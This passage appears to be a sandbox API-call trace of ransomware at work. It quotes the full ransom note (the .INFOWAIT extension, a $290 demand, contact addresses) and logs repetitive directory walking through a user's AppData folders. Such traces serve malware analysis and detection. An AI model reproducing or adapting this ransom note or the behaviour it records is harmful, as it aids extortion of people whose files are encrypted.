us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.827] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.828] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\!readme.txt") returned=".txt" [0113.829] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0113.829] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.829] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.829] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.829] PathFindFileNameW (pszPath="") returned="" [0113.829] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0113.829] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0113.829] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.829] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.829] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.829] PathFindFileNameW (pszPath="") returned="" [0113.831] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0113.831] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0113.831] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0113.831] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.831] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.831] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.831] PathFindFileNameW (pszPath="") returned="" [0113.833] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\") returned="Acrobat\\" [0113.833] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0113.833] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0113.833] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0113.833] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.833] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.833] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.833] PathFindFileNameW (pszPath="") returned="" [0113.833] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\") returned="10.0\\" [0113.833] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\") returned="Acrobat\\" [0113.833] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0113.833] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0113.833] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0113.833] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.834] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.834] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.834] PathFindFileNameW (pszPath="") returned="" [0113.860] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip") returned=".zip" [0113.860] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages") returned="" [0113.860] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\") returned="Search\\" [0113.860] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\") returned="10.0\\" [0113.860] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\") returned="Acrobat\\" [0113.861] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0113.861] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0113.861] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0113.861] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.861] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.861] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.861] PathFindFileNameW (pszPath="") returned="" [0113.862] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0113.862] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0113.862] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0113.862] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0113.862] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.862] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.862] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.862] PathFindFileNameW (pszPath="") returned="" [0113.863] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0113.863] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0113.863] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0113.863] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0113.863] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0113.863] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.863] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.863] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.863] PathFindFileNameW (pszPath="") returned="" [0113.872] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0113.872] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0113.872] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0113.872] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0113.872] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0113.872] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0113.872] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.873] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.873] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.873] PathFindFileNameW (pszPath="") returned="" [0113.898] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\") returned="all\\" [0113.898] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0113.898] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0113.898] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0113.898] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0113.898] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0113.898] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0113.898] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.898] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.898] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.898] PathFindFileNameW (pszPath="") returned="" [0113.899] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\") returned="brt\\" [0113.899] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0113.899] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0113.899] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0113.899] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0113.899] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0113.899] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0113.899] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.899] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.899] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.899] PathFindFileNameW (pszPath="") returned="" [0113.900] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\") returned="brz\\" [0113.900] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0113.900] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0113.901] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0113.901] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0113.901] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0113.901] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0113.901] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.901] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.901] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.901] PathFindFileNameW (pszPath="") returned="" [0113.909] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\") returned="dan\\" [0113.909] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0113.909] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0113.909] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0113.909] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0113.909] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0113.909] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0113.909] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.909] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.910] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.910] PathFindFileNameW (pszPath="") returned="" [0113.910] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\") returned="dut\\" [0113.910] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0113.910] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0113.910] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0113.910] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0113.910] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0113.910] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0113.910] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.910] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.910] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.910] PathFindFileNameW (pszPath="") returned="" [0113.912] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\") returned="eng\\" [0113.912] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0113.912] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0113.912] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0113.912] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0113.912] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0113.912] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0113.912] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.912] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.912] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.912] PathFindFileNameW (pszPath="") returned="" [0113.913] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\") returned="frn\\" [0113.913] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0113.913] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0113.913] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0113.913] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0113.913] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0113.913] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0113.913] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.913] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.913] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.913] PathFindFileNameW (pszPath="") returned="" [0113.913] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\") returned="grm\\" [0113.914] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0113.914] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0113.914] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0113.914] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0113.914] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0113.914] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0113.914] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.914] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.914] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.914] PathFindFileNameW (pszPath="") returned="" [0113.914] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\") returned="itl\\" [0113.914] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0113.914] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0113.914] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0113.915] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0113.915] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0113.915] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0113.915] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.915] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.915] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.915] PathFindFileNameW (pszPath="") returned="" [0113.915] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\") returned="nrw\\" [0113.915] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0113.915] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0113.915] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0113.915] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0113.915] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0113.915] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0113.916] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.916] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.916] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.916] PathFindFileNameW (pszPath="") returned="" [0113.916] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\") returned="prt\\" [0113.916] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0113.916] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0113.916] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0113.916] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS 